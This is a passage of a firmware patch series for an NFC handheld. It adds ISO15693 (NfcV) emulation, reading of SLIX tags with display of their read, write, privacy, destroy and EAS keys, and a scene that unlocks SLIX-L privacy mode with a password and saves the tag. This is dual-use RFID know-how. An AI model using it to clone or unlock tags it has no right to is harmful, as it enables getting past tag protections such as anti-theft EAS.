Function,-,pulse_reader_start,void,PulseReader* Function,-,pulse_reader_stop,void,PulseReader* diff --git a/lib/pulse_reader/pulse_reader.c b/lib/pulse_reader/pulse_reader.c index 8b35f6d18..3d9508f9a 100644 --- a/lib/pulse_reader/pulse_reader.c +++ b/lib/pulse_reader/pulse_reader.c @@ -31,6 +31,7 @@ PulseReader* pulse_reader_alloc(const GpioPin* gpio, uint32_t size) { signal->gpio_buffer = malloc(size * sizeof(uint32_t)); signal->dma_channel = LL_DMA_CHANNEL_4; signal->gpio = gpio; + signal->pull = GpioPullNo; signal->size = size; signal->timer_value = 0; signal->pos = 0; @@ -88,6 +89,10 @@ void pulse_reader_set_bittime(PulseReader* signal, uint32_t bit_time) { signal->bit_time = bit_time; } +void pulse_reader_set_pull(PulseReader* signal, GpioPull pull) { + signal->pull = pull; +} + void pulse_reader_free(PulseReader* signal) { free(signal->timer_buffer); free(signal->gpio_buffer); @@ -134,7 +139,7 @@ void pulse_reader_start(PulseReader* signal) { /* we need the EXTI to be configured as interrupt generating line, but no ISR registered */ furi_hal_gpio_init_ex( - signal->gpio, GpioModeInterruptRiseFall, GpioPullNo, GpioSpeedVeryHigh, GpioAltFnUnused); + signal->gpio, GpioModeInterruptRiseFall, signal->pull, GpioSpeedVeryHigh, GpioAltFnUnused); /* capture current timer */ signal->pos = 0; diff --git a/lib/pulse_reader/pulse_reader.h b/lib/pulse_reader/pulse_reader.h index b4e6bca57..be0ad7012 100644 --- a/lib/pulse_reader/pulse_reader.h +++ b/lib/pulse_reader/pulse_reader.h @@ -41,6 +41,7 @@ typedef struct { uint32_t bit_time; uint32_t dma_channel; const GpioPin* gpio; + GpioPull pull; LL_DMA_InitTypeDef dma_config_timer; LL_DMA_InitTypeDef dma_config_gpio; } PulseReader; @@ -125,6 +126,16 @@ void pulse_reader_set_timebase(PulseReader* signal, PulseReaderUnit unit); */ void pulse_reader_set_bittime(PulseReader* signal, uint32_t bit_time); +/** Set GPIO pull direction + * + * Some GPIOs need pulldown, others don't. By default the + * pull direction is GpioPullNo. + * + * @param[in] signal previously allocated PulseReader object. + * @param[in] pull GPIO pull direction + */ +void pulse_reader_set_pull(PulseReader* signal, GpioPull pull); + #ifdef __cplusplus } #endif From 4adba941bf79b449e55a98b2b9d7caff97fe627b Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Wed, 28 Dec 2022 18:52:12 +0100 Subject: [PATCH 027/329] added support for ISO15693 (NfcV) emulation, added support for reading SLIX tags --- applications/main/nfc/nfc.c | 3 + .../main/nfc/scenes/nfc_scene_config.h | 5 + .../main/nfc/scenes/nfc_scene_emulate_nfcv.c | 149 +++ .../main/nfc/scenes/nfc_scene_extra_actions.c | 10 + .../main/nfc/scenes/nfc_scene_nfc_data_info.c | 168 +++- .../nfc/scenes/nfc_scene_nfcv_key_input.c | 48 + .../main/nfc/scenes/nfc_scene_nfcv_menu.c | 63 ++ .../main/nfc/scenes/nfc_scene_nfcv_unlock.c | 155 +++ .../nfc/scenes/nfc_scene_nfcv_unlock_menu.c | 60 ++ applications/main/nfc/scenes/nfc_scene_read.c | 5 + applications/main/nfc/scenes/nfc_scene_rpc.c | 7 + .../main/nfc/scenes/nfc_scene_saved_menu.c | 2 + lib/nfc/nfc_device.c | 359 ++++++- lib/nfc/nfc_device.h | 4 + lib/nfc/nfc_worker.c | 226 ++++- lib/nfc/nfc_worker.h | 7 + lib/nfc/nfc_worker_i.h | 2 + lib/nfc/protocols/nfcv.c | 885 ++++++++++++++++++ lib/nfc/protocols/nfcv.h | 213 +++++ lib/nfc/protocols/slix.c | 407 ++++++++ lib/nfc/protocols/slix.h | 46 + 21 files changed, 2797 insertions(+), 27 deletions(-) create mode 100644 applications/main/nfc/scenes/nfc_scene_emulate_nfcv.c create mode 100644 applications/main/nfc/scenes/nfc_scene_nfcv_key_input.c create mode 100644 applications/main/nfc/scenes/nfc_scene_nfcv_menu.c create mode 100644 applications/main/nfc/scenes/nfc_scene_nfcv_unlock.c create mode 100644 applications/main/nfc/scenes/nfc_scene_nfcv_unlock_menu.c create mode 100644 lib/nfc/protocols/nfcv.c create mode 100644 lib/nfc/protocols/nfcv.h create mode 100644 lib/nfc/protocols/slix.c create mode 100644 lib/nfc/protocols/slix.h diff --git a/applications/main/nfc/nfc.c b/applications/main/nfc/nfc.c index 6e6dc4dcc..8022ff08a 100644 --- a/applications/main/nfc/nfc.c +++ b/applications/main/nfc/nfc.c @@ -290,6 +290,9 @@ int32_t nfc_app(void* p) { } else if(nfc->dev->format == NfcDeviceSaveFormatMifareClassic) { scene_manager_next_scene(nfc->scene_manager, NfcSceneMfClassicEmulate); DOLPHIN_DEED(DolphinDeedNfcEmulate); + } else if(nfc->dev->format == NfcDeviceSaveFormatNfcV) { + scene_manager_next_scene(nfc->scene_manager, NfcSceneEmulateNfcV); + DOLPHIN_DEED(DolphinDeedNfcEmulate); } else if(nfc->dev->format == NfcDeviceSaveFormatBankCard) { scene_manager_next_scene(nfc->scene_manager, NfcSceneDeviceInfo); } else { diff --git a/applications/main/nfc/scenes/nfc_scene_config.h b/applications/main/nfc/scenes/nfc_scene_config.h index ce51d000d..6ce8ffa56 100644 --- a/applications/main/nfc/scenes/nfc_scene_config.h +++ b/applications/main/nfc/scenes/nfc_scene_config.h @@ -14,6 +14,11 @@ ADD_SCENE(nfc, file_select, FileSelect) ADD_SCENE(nfc, emulate_uid, EmulateUid) ADD_SCENE(nfc, nfca_read_success, NfcaReadSuccess) ADD_SCENE(nfc, nfca_menu, NfcaMenu) +ADD_SCENE(nfc, nfcv_menu, NfcVMenu) +ADD_SCENE(nfc, nfcv_unlock_menu, NfcVUnlockMenu) +ADD_SCENE(nfc, nfcv_key_input, NfcVKeyInput) +ADD_SCENE(nfc, nfcv_unlock, NfcVUnlock) +ADD_SCENE(nfc, emulate_nfcv, EmulateNfcV) ADD_SCENE(nfc, mf_ultralight_read_success, MfUltralightReadSuccess) ADD_SCENE(nfc, mf_ultralight_data, MfUltralightData) ADD_SCENE(nfc, mf_ultralight_menu, MfUltralightMenu) diff --git a/applications/main/nfc/scenes/nfc_scene_emulate_nfcv.c b/applications/main/nfc/scenes/nfc_scene_emulate_nfcv.c new file mode 100644 index 000000000..e6fc60d86 --- /dev/null +++ b/applications/main/nfc/scenes/nfc_scene_emulate_nfcv.c @@ -0,0 +1,149 @@ +#include "../nfc_i.h" + +#define NFC_SCENE_EMULATE_NFCV_LOG_SIZE_MAX (100) + +enum { + NfcSceneEmulateNfcVStateWidget, + NfcSceneEmulateNfcVStateTextBox, +}; + +bool nfc_emulate_nfcv_worker_callback(NfcWorkerEvent event, void* context) { + UNUSED(event); + furi_assert(context); + Nfc* nfc = context; + view_dispatcher_send_custom_event(nfc->view_dispatcher, NfcCustomEventWorkerExit); + return true; +} + +void nfc_scene_emulate_nfcv_widget_callback(GuiButtonType result, InputType type, void* context) { + furi_assert(context); + Nfc* nfc = context; + if(type == InputTypeShort) { + view_dispatcher_send_custom_event(nfc->view_dispatcher, result); + } +} + +void nfc_emulate_nfcv_textbox_callback(void* context) { + furi_assert(context); + Nfc* nfc = context; + view_dispatcher_send_custom_event(nfc->view_dispatcher, NfcCustomEventViewExit); +} + +// Add widget with device name or inform that data received +static void nfc_scene_emulate_nfcv_widget_config(Nfc* nfc, bool data_received) { + FuriHalNfcDevData* data = &nfc->dev->dev_data.nfc_data; + Widget* widget = nfc->widget; + widget_reset(widget); + FuriString* info_str; + info_str = furi_string_alloc(); + + widget_add_icon_element(widget, 0, 3, &I_RFIDDolphinSend_97x61); + widget_add_string_element( + widget, 89, 32, AlignCenter, AlignTop, FontPrimary, "Emulating NfcV"); + if(strcmp(nfc->dev->dev_name, "")) { + furi_string_printf(info_str, "%s", nfc->dev->dev_name); + } else { + for(uint8_t i = 0; i < data->uid_len; i++) { + furi_string_cat_printf(info_str, "%02X ", data->uid[i]); + } + } + furi_string_trim(info_str); + widget_add_text_box_element( + widget, 56, 43, 70, 21, AlignCenter, AlignTop, furi_string_get_cstr(info_str), true); + furi_string_free(info_str); + if(data_received) { + widget_add_button_element( + widget, GuiButtonTypeCenter, "Log", nfc_scene_emulate_nfcv_widget_callback, nfc); + } +} + +void nfc_scene_emulate_nfcv_on_enter(void* context) { + Nfc* nfc = context; + + // Setup Widget + nfc_scene_emulate_nfcv_widget_config(nfc, false); + // Setup TextBox + TextBox* text_box = nfc->text_box; + text_box_set_font(text_box, TextBoxFontHex); + text_box_set_focus(text_box, TextBoxFocusEnd); + furi_string_reset(nfc->text_box_store); + + // Set Widget state and view + scene_manager_set_scene_state( + nfc->scene_manager, NfcSceneEmulateNfcV, NfcSceneEmulateNfcVStateWidget); + view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewWidget); + // Start worker + memset(&nfc->dev->dev_data.reader_data, 0, sizeof(NfcReaderRequestData)); + nfc_worker_start( + nfc->worker, + NfcWorkerStateNfcVEmulate, + &nfc->dev->dev_data, + nfc_emulate_nfcv_worker_callback, + nfc); + + nfc_blink_emulate_start(nfc); +} + +bool nfc_scene_emulate_nfcv_on_event(void* context, SceneManagerEvent event) { + Nfc* nfc = context; + NfcVData* nfcv_data = &nfc->dev->dev_data.nfcv_data; + uint32_t state = scene_manager_get_scene_state(nfc->scene_manager, NfcSceneEmulateNfcV); + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == NfcCustomEventWorkerExit) { + // Add data button to widget if data is received for the first time + if(!furi_string_size(nfc->text_box_store)) { + nfc_scene_emulate_nfcv_widget_config(nfc, true); + } + if(strlen(nfcv_data->last_command) > 0) { + /* use the last n bytes from the log so there's enough space for the new log entry */ + size_t maxSize = + NFC_SCENE_EMULATE_NFCV_LOG_SIZE_MAX - (strlen(nfcv_data->last_command) + 1); + if(furi_string_size(nfc->text_box_store) >= maxSize) { + furi_string_right(nfc->text_box_store, (strlen(nfcv_data->last_command) + 1)); + } + furi_string_cat_printf(nfc->text_box_store, "%s", nfcv_data->last_command); + furi_string_push_back(nfc->text_box_store, '\n'); + text_box_set_text(nfc->text_box, furi_string_get_cstr(nfc->text_box_store)); + + /* clear previously logged command */ + strcpy(nfcv_data->last_command, ""); + } + consumed = true; + } else if(event.event == GuiButtonTypeCenter && state == NfcSceneEmulateNfcVStateWidget) { + view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewTextBox); + scene_manager_set_scene_state( + nfc->scene_manager, NfcSceneEmulateNfcV, NfcSceneEmulateNfcVStateTextBox); + consumed = true; + } else if(event.event == NfcCustomEventViewExit && state == NfcSceneEmulateNfcVStateTextBox) { + view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewWidget); + scene_manager_set_scene_state( + nfc->scene_manager, NfcSceneEmulateNfcV, NfcSceneEmulateNfcVStateWidget); + consumed = true; + } + } else if(event.type == SceneManagerEventTypeBack) { + if(state == NfcSceneEmulateNfcVStateTextBox) { + view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewWidget); + scene_manager_set_scene_state( + nfc->scene_manager, NfcSceneEmulateNfcV, NfcSceneEmulateNfcVStateWidget); + consumed = true; + } + } + + return consumed; +} + +void nfc_scene_emulate_nfcv_on_exit(void* context) { + Nfc* nfc = context; + + // Stop worker + nfc_worker_stop(nfc->worker); + + // Clear view + widget_reset(nfc->widget); + text_box_reset(nfc->text_box); + furi_string_reset(nfc->text_box_store); + + nfc_blink_stop(nfc); +} diff --git a/applications/main/nfc/scenes/nfc_scene_extra_actions.c b/applications/main/nfc/scenes/nfc_scene_extra_actions.c index 717e8efc4..147c89757 100644 --- a/applications/main/nfc/scenes/nfc_scene_extra_actions.c +++ b/applications/main/nfc/scenes/nfc_scene_extra_actions.c @@ -4,6 +4,7 @@ enum SubmenuIndex { SubmenuIndexReadCardType, SubmenuIndexMfClassicKeys, SubmenuIndexMfUltralightUnlock, + SubmenuIndexNfcVUnlock, }; void nfc_scene_extra_actions_submenu_callback(void* context, uint32_t index) { @@ -34,6 +35,12 @@ void nfc_scene_extra_actions_on_enter(void* context) { SubmenuIndexMfUltralightUnlock, nfc_scene_extra_actions_submenu_callback, nfc); + submenu_add_item( + submenu, + "Unlock SLIX-L", + SubmenuIndexNfcVUnlock, + nfc_scene_extra_actions_submenu_callback, + nfc); view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewMenu); } @@ -56,6 +63,9 @@ bool nfc_scene_extra_actions_on_event(void* context, SceneManagerEvent event) { scene_manager_set_scene_state(nfc->scene_manager, NfcSceneReadCardType, 0); scene_manager_next_scene(nfc->scene_manager, NfcSceneReadCardType); consumed = true; + } else if(event.event == SubmenuIndexNfcVUnlock) { + scene_manager_next_scene(nfc->scene_manager, NfcSceneNfcVUnlockMenu); + consumed = true; } scene_manager_set_scene_state(nfc->scene_manager, NfcSceneExtraActions, event.event); } diff --git a/applications/main/nfc/scenes/nfc_scene_nfc_data_info.c b/applications/main/nfc/scenes/nfc_scene_nfc_data_info.c index b44ab7823..a296fa577 100644 --- a/applications/main/nfc/scenes/nfc_scene_nfc_data_info.c +++ b/applications/main/nfc/scenes/nfc_scene_nfc_data_info.c @@ -7,6 +7,17 @@ void nfc_scene_nfc_data_info_widget_callback(GuiButtonType result, InputType typ } } +uint32_t nfc_scene_nfc_data_info_get_key(uint8_t* data) { + uint32_t value = 0; + + for(uint32_t pos = 0; pos < 4; pos++) { + value <<= 8; + value |= data[pos]; + } + + return value; +} + void nfc_scene_nfc_data_info_on_enter(void* context) { Nfc* nfc = context; Widget* widget = nfc->widget; @@ -14,7 +25,8 @@ void nfc_scene_nfc_data_info_on_enter(void* context) { NfcDeviceData* dev_data = &nfc->dev->dev_data; NfcProtocol protocol = dev_data->protocol; uint8_t text_scroll_height = 0; - if((protocol == NfcDeviceProtocolMifareDesfire) || (protocol == NfcDeviceProtocolMifareUl)) { + if((protocol == NfcDeviceProtocolMifareDesfire) || (protocol == NfcDeviceProtocolMifareUl) || + (protocol == NfcDeviceProtocolNfcV)) { widget_add_button_element( widget, GuiButtonTypeRight, "More", nfc_scene_nfc_data_info_widget_callback, nfc); text_scroll_height = 52; @@ -40,19 +52,156 @@ void nfc_scene_nfc_data_info_on_enter(void* context) { temp_str, "\e#%s\n", nfc_mf_classic_type(dev_data->mf_classic_data.type)); } else if(protocol == NfcDeviceProtocolMifareDesfire) { furi_string_cat_printf(temp_str, "\e#MIFARE DESfire\n"); + } else if(protocol == NfcDeviceProtocolNfcV) { + switch(dev_data->nfcv_data.sub_type) { + case NfcVTypePlain: + furi_string_cat_printf(temp_str, "\e#ISO15693\n"); + break; + case NfcVTypeSlix: + furi_string_cat_printf(temp_str, "\e#ISO15693 SLIX\n"); + break; + case NfcVTypeSlixS: + furi_string_cat_printf(temp_str, "\e#ISO15693 SLIX-S\n"); + break; + case NfcVTypeSlixL: + furi_string_cat_printf(temp_str, "\e#ISO15693 SLIX-L\n"); + break; + case NfcVTypeSlix2: + furi_string_cat_printf(temp_str, "\e#ISO15693 SLIX2\n"); + break; + default: + furi_string_cat_printf(temp_str, "\e#ISO15693 (unknown)\n"); + break; + } } else { furi_string_cat_printf(temp_str, "\e#Unknown ISO tag\n"); } // Set tag iso data - char iso_type = FURI_BIT(nfc_data->sak, 5) ? '4' : '3'; - furi_string_cat_printf(temp_str, "ISO 14443-%c (NFC-A)\n", iso_type); - furi_string_cat_printf(temp_str, "UID:"); - for(size_t i = 0; i < nfc_data->uid_len; i++) { - furi_string_cat_printf(temp_str, " %02X", nfc_data->uid[i]); + if(protocol == NfcDeviceProtocolNfcV) { + NfcVData* nfcv_data = &nfc->dev->dev_data.nfcv_data; + + furi_string_cat_printf(temp_str, "UID:\n"); + for(size_t i = 0; i < nfc_data->uid_len; i++) { + furi_string_cat_printf(temp_str, " %02X", nfc_data->uid[i]); + } + furi_string_cat_printf(temp_str, "\n"); + + furi_string_cat_printf(temp_str, "DSFID: %02X\n", nfcv_data->dsfid); + furi_string_cat_printf(temp_str, "AFI: %02X\n", nfcv_data->afi); + furi_string_cat_printf(temp_str, "IC Ref: %02X\n", nfcv_data->ic_ref); + furi_string_cat_printf(temp_str, "Blocks: %02X\n", nfcv_data->block_num); + furi_string_cat_printf(temp_str, "Blocksize: %02X\n", nfcv_data->block_size); + + furi_string_cat_printf( + temp_str, "Data (%d byte)\n", nfcv_data->block_num * nfcv_data->block_size); + + int maxBlocks = nfcv_data->block_num; + if(maxBlocks > 32) { + maxBlocks = 32; + furi_string_cat_printf(temp_str, "(truncated to %d blocks)\n", maxBlocks); + } + + for(int block = 0; block < maxBlocks; block++) { + for(int pos = 0; pos < nfcv_data->block_size; pos++) { + furi_string_cat_printf( + temp_str, " %02X", nfcv_data->data[block * nfcv_data->block_size + pos]); + } + furi_string_cat_printf(temp_str, "\n"); + } + furi_string_cat_printf(temp_str, "\n"); + + switch(dev_data->nfcv_data.sub_type) { + case NfcVTypePlain: + furi_string_cat_printf(temp_str, "Type: Plain\n"); + break; + case NfcVTypeSlix: + furi_string_cat_printf(temp_str, "Type: SLIX\n"); + furi_string_cat_printf(temp_str, "Keys:\n"); + furi_string_cat_printf( + temp_str, + " EAS %08lX\n", + nfc_scene_nfc_data_info_get_key(nfcv_data->sub_data.slix.key_eas)); + break; + case NfcVTypeSlixS: + furi_string_cat_printf(temp_str, "Type: SLIX-S\n"); + furi_string_cat_printf(temp_str, "Keys:\n"); + furi_string_cat_printf( + temp_str, + " Read %08lX\n", + nfc_scene_nfc_data_info_get_key(nfcv_data->sub_data.slix.key_read)); + furi_string_cat_printf( + temp_str, + " Write %08lX\n", + nfc_scene_nfc_data_info_get_key(nfcv_data->sub_data.slix.key_write)); + furi_string_cat_printf( + temp_str, + " Privacy %08lX\n", + nfc_scene_nfc_data_info_get_key(nfcv_data->sub_data.slix.key_privacy)); + furi_string_cat_printf( + temp_str, + " Destroy %08lX\n", + nfc_scene_nfc_data_info_get_key(nfcv_data->sub_data.slix.key_destroy)); + furi_string_cat_printf( + temp_str, + " EAS %08lX\n", + nfc_scene_nfc_data_info_get_key(nfcv_data->sub_data.slix.key_eas)); + break; + case NfcVTypeSlixL: + furi_string_cat_printf(temp_str, "Type: SLIX-L\n"); + furi_string_cat_printf(temp_str, "Keys:\n"); + furi_string_cat_printf( + temp_str, + " Privacy %08lX\n", + nfc_scene_nfc_data_info_get_key(nfcv_data->sub_data.slix.key_privacy)); + furi_string_cat_printf( + temp_str, + " Destroy %08lX\n", + nfc_scene_nfc_data_info_get_key(nfcv_data->sub_data.slix.key_destroy)); + furi_string_cat_printf( + temp_str, + " EAS %08lX\n", + nfc_scene_nfc_data_info_get_key(nfcv_data->sub_data.slix.key_eas)); + break; + case NfcVTypeSlix2: + furi_string_cat_printf(temp_str, "Type: SLIX2\n"); + furi_string_cat_printf(temp_str, "Keys:\n"); + furi_string_cat_printf( + temp_str, + " Read %08lX\n", + nfc_scene_nfc_data_info_get_key(nfcv_data->sub_data.slix.key_read)); + furi_string_cat_printf( + temp_str, + " Write %08lX\n", + nfc_scene_nfc_data_info_get_key(nfcv_data->sub_data.slix.key_write)); + furi_string_cat_printf( + temp_str, + " Privacy %08lX\n", + nfc_scene_nfc_data_info_get_key(nfcv_data->sub_data.slix.key_privacy)); + furi_string_cat_printf( + temp_str, + " Destroy %08lX\n", + nfc_scene_nfc_data_info_get_key(nfcv_data->sub_data.slix.key_destroy)); + furi_string_cat_printf( + temp_str, + " EAS %08lX\n", + nfc_scene_nfc_data_info_get_key(nfcv_data->sub_data.slix.key_eas)); + break; + default: + furi_string_cat_printf(temp_str, "\e#ISO15693 (unknown)\n"); + break; + } + } else { + char iso_type = FURI_BIT(nfc_data->sak, 5) ? '4' : '3'; + furi_string_cat_printf(temp_str, "ISO 14443-%c (NFC-A)\n", iso_type); + furi_string_cat_printf(temp_str, "UID:"); + for(size_t i = 0; i < nfc_data->uid_len; i++) { + furi_string_cat_printf(temp_str, " %02X", nfc_data->uid[i]); + } + furi_string_cat_printf( + temp_str, "\nATQA: %02X %02X ", nfc_data->atqa[1], nfc_data->atqa[0]); + furi_string_cat_printf(temp_str, " SAK: %02X", nfc_data->sak); } - furi_string_cat_printf(temp_str, "\nATQA: %02X %02X ", nfc_data->atqa[1], nfc_data->atqa[0]); - furi_string_cat_printf(temp_str, " SAK: %02X", nfc_data->sak); // Set application specific data if(protocol == NfcDeviceProtocolMifareDesfire) { @@ -136,6 +285,9 @@ bool nfc_scene_nfc_data_info_on_event(void* context, SceneManagerEvent event) { } else if(protocol == NfcDeviceProtocolMifareUl) { scene_manager_next_scene(nfc->scene_manager, NfcSceneMfUltralightData); consumed = true; + } else if(protocol == NfcDeviceProtocolNfcV) { + scene_manager_next_scene(nfc->scene_manager, NfcSceneNfcVMenu); + consumed = true; } } } diff --git a/applications/main/nfc/scenes/nfc_scene_nfcv_key_input.c b/applications/main/nfc/scenes/nfc_scene_nfcv_key_input.c new file mode 100644 index 000000000..cc53c4dcb --- /dev/null +++ b/applications/main/nfc/scenes/nfc_scene_nfcv_key_input.c @@ -0,0 +1,48 @@ +#include "../nfc_i.h" +#include + +void nfc_scene_nfcv_key_input_byte_input_callback(void* context) { + Nfc* nfc = context; + NfcVSlixData* data = &nfc->dev->dev_data.nfcv_data.sub_data.slix; + + memcpy(data->key_privacy, nfc->byte_input_store, 4); + view_dispatcher_send_custom_event(nfc->view_dispatcher, NfcCustomEventByteInputDone); +} + +void nfc_scene_nfcv_key_input_on_enter(void* context) { + Nfc* nfc = context; + + // Setup view + ByteInput* byte_input = nfc->byte_input; + byte_input_set_header_text(byte_input, "Enter The Password In Hex"); + byte_input_set_result_callback( + byte_input, + nfc_scene_nfcv_key_input_byte_input_callback, + NULL, + nfc, + nfc->byte_input_store, + 4); + view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewByteInput); +} + +bool nfc_scene_nfcv_key_input_on_event(void* context, SceneManagerEvent event) { + Nfc* nfc = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == NfcCustomEventByteInputDone) { + scene_manager_next_scene(nfc->scene_manager, NfcSceneNfcVUnlock); + DOLPHIN_DEED(DolphinDeedNfcRead); + consumed = true; + } + } + return consumed; +} + +void nfc_scene_nfcv_key_input_on_exit(void* context) { + Nfc* nfc = context; + + // Clear view + byte_input_set_result_callback(nfc->byte_input, NULL, NULL, NULL, NULL, 0); + byte_input_set_header_text(nfc->byte_input, ""); +} diff --git a/applications/main/nfc/scenes/nfc_scene_nfcv_menu.c b/applications/main/nfc/scenes/nfc_scene_nfcv_menu.c new file mode 100644 index 000000000..b30495a05 --- /dev/null +++ b/applications/main/nfc/scenes/nfc_scene_nfcv_menu.c @@ -0,0 +1,63 @@ +#include "../nfc_i.h" +#include + +enum SubmenuIndex { + SubmenuIndexSave, + SubmenuIndexEmulate, +}; + +void nfc_scene_nfcv_menu_submenu_callback(void* context, uint32_t index) { + Nfc* nfc = context; + + view_dispatcher_send_custom_event(nfc->view_dispatcher, index); +} + +void nfc_scene_nfcv_menu_on_enter(void* context) { + Nfc* nfc = context; + Submenu* submenu = nfc->submenu; + + submenu_add_item(submenu, "Save", SubmenuIndexSave, nfc_scene_nfcv_menu_submenu_callback, nfc); + submenu_add_item( + submenu, "Emulate", SubmenuIndexEmulate, nfc_scene_nfcv_menu_submenu_callback, nfc); + + submenu_set_selected_item( + nfc->submenu, scene_manager_get_scene_state(nfc->scene_manager, NfcSceneNfcVMenu)); + + view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewMenu); +} + +bool nfc_scene_nfcv_menu_on_event(void* context, SceneManagerEvent event) { + Nfc* nfc = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == SubmenuIndexSave) { + nfc->dev->format = NfcDeviceSaveFormatNfcV; + // Clear device name + nfc_device_set_name(nfc->dev, ""); + scene_manager_next_scene(nfc->scene_manager, NfcSceneSaveName); + consumed = true; + } else if(event.event == SubmenuIndexEmulate) { + scene_manager_next_scene(nfc->scene_manager, NfcSceneEmulateNfcV); + if(scene_manager_has_previous_scene(nfc->scene_manager, NfcSceneSetType)) { + DOLPHIN_DEED(DolphinDeedNfcAddEmulate); + } else { + DOLPHIN_DEED(DolphinDeedNfcEmulate); + } + consumed = true; + } + scene_manager_set_scene_state(nfc->scene_manager, NfcSceneNfcVMenu, event.event); + + } else if(event.type == SceneManagerEventTypeBack) { + consumed = scene_manager_previous_scene(nfc->scene_manager); + } + + return consumed; +} + +void nfc_scene_nfcv_menu_on_exit(void* context) { + Nfc* nfc = context; + + // Clear view + submenu_reset(nfc->submenu); +} diff --git a/applications/main/nfc/scenes/nfc_scene_nfcv_unlock.c b/applications/main/nfc/scenes/nfc_scene_nfcv_unlock.c new file mode 100644 index 000000000..b52cc0caa --- /dev/null +++ b/applications/main/nfc/scenes/nfc_scene_nfcv_unlock.c @@ -0,0 +1,155 @@ +#include "../nfc_i.h" +#include + +typedef enum { + NfcSceneNfcVUnlockStateIdle, + NfcSceneNfcVUnlockStateDetecting, + NfcSceneNfcVUnlockStateUnlocked, + NfcSceneNfcVUnlockStateAlreadyUnlocked, + NfcSceneNfcVUnlockStateNotSupportedCard, +} NfcSceneNfcVUnlockState; + +static bool nfc_scene_nfcv_unlock_worker_callback(NfcWorkerEvent event, void* context) { + Nfc* nfc = context; + NfcVSlixData* data = &nfc->dev->dev_data.nfcv_data.sub_data.slix; + + if(event == NfcWorkerEventNfcVPassKey) { + memcpy(data->key_privacy, nfc->byte_input_store, 4); + } else { + view_dispatcher_send_custom_event(nfc->view_dispatcher, event); + } + return true; +} + +void nfc_scene_nfcv_unlock_popup_callback(void* context) { + Nfc* nfc = context; + view_dispatcher_send_custom_event(nfc->view_dispatcher, NfcCustomEventViewExit); +} + +void nfc_scene_nfcv_unlock_set_state(Nfc* nfc, NfcSceneNfcVUnlockState state) { + FuriHalNfcDevData* nfc_data = &(nfc->dev->dev_data.nfc_data); + NfcVData* nfcv_data = &(nfc->dev->dev_data.nfcv_data); + + uint32_t curr_state = scene_manager_get_scene_state(nfc->scene_manager, NfcSceneNfcVUnlock); + if(curr_state != state) { + Popup* popup = nfc->popup; + if(state == NfcSceneNfcVUnlockStateDetecting) { + popup_reset(popup); + popup_set_text( + popup, "Put figurine on\nFlipper's back", 97, 24, AlignCenter, AlignTop); + popup_set_icon(popup, 0, 8, &I_NFC_manual_60x50); + } else if(state == NfcSceneNfcVUnlockStateUnlocked) { + popup_reset(popup); + + if(nfc_worker_get_state(nfc->worker) == NfcWorkerStateNfcVUnlockAndSave) { + nfc_text_store_set( + nfc, + "%s/SLIX_%02X%02X%02X%02X%02X%02X%02X%02X%s", + NFC_APP_FOLDER, + nfc_data->uid[0], + nfc_data->uid[1], + nfc_data->uid[2], + nfc_data->uid[3], + nfc_data->uid[4], + nfc_data->uid[5], + nfc_data->uid[6], + nfc_data->uid[7], + NFC_APP_EXTENSION); + + nfc->dev->format = NfcDeviceSaveFormatNfcV; + + if(nfc_device_save(nfc->dev, nfc->text_store)) { + popup_set_header(popup, "Successfully\nsaved", 94, 3, AlignCenter, AlignTop); + } else { + popup_set_header( + popup, "Unlocked but\nsave failed!", 94, 3, AlignCenter, AlignTop); + } + } else { + popup_set_header(popup, "Successfully\nunlocked", 94, 3, AlignCenter, AlignTop); + } + + notification_message(nfc->notifications, &sequence_single_vibro); + //notification_message(nfc->notifications, &sequence_success); + + popup_set_icon(popup, 0, 6, &I_RFIDDolphinSuccess_108x57); + popup_set_context(popup, nfc); + popup_set_callback(popup, nfc_scene_nfcv_unlock_popup_callback); + popup_set_timeout(popup, 1500); + + view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewPopup); + DOLPHIN_DEED(DolphinDeedNfcReadSuccess); + + } else if(state == NfcSceneNfcVUnlockStateAlreadyUnlocked) { + popup_reset(popup); + + popup_set_header(popup, "Already\nUnlocked!", 94, 3, AlignCenter, AlignTop); + popup_set_icon(popup, 0, 6, &I_RFIDDolphinSuccess_108x57); + popup_set_context(popup, nfc); + popup_set_callback(popup, nfc_scene_nfcv_unlock_popup_callback); + popup_set_timeout(popup, 1500); + + view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewPopup); + } else if(state == NfcSceneNfcVUnlockStateNotSupportedCard) { + popup_reset(popup); + popup_set_header(popup, "Wrong Type Of Card!", 64, 3, AlignCenter, AlignTop); + popup_set_text(popup, nfcv_data->error, 4, 22, AlignLeft, AlignTop); + popup_set_icon(popup, 73, 20, &I_DolphinCommon_56x48); + } + scene_manager_set_scene_state(nfc->scene_manager, NfcSceneNfcVUnlock, state); + } +} + +void nfc_scene_nfcv_unlock_on_enter(void* context) { + Nfc* nfc = context; + + nfc_device_clear(nfc->dev); + // Setup view + nfc_scene_nfcv_unlock_set_state(nfc, NfcSceneNfcVUnlockStateDetecting); + view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewPopup); + + // Start worker + nfc_worker_start( + nfc->worker, + NfcWorkerStateNfcVUnlockAndSave, + &nfc->dev->dev_data, + nfc_scene_nfcv_unlock_worker_callback, + nfc); + + nfc_blink_read_start(nfc); +} + +bool nfc_scene_nfcv_unlock_on_event(void* context, SceneManagerEvent event) { + Nfc* nfc = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == NfcWorkerEventCardDetected) { + nfc_scene_nfcv_unlock_set_state(nfc, NfcSceneNfcVUnlockStateUnlocked); + consumed = true; + } else if(event.event == NfcWorkerEventAborted) { + nfc_scene_nfcv_unlock_set_state(nfc, NfcSceneNfcVUnlockStateAlreadyUnlocked); + consumed = true; + } else if(event.event == NfcWorkerEventNoCardDetected) { + nfc_scene_nfcv_unlock_set_state(nfc, NfcSceneNfcVUnlockStateDetecting); + consumed = true; + } else 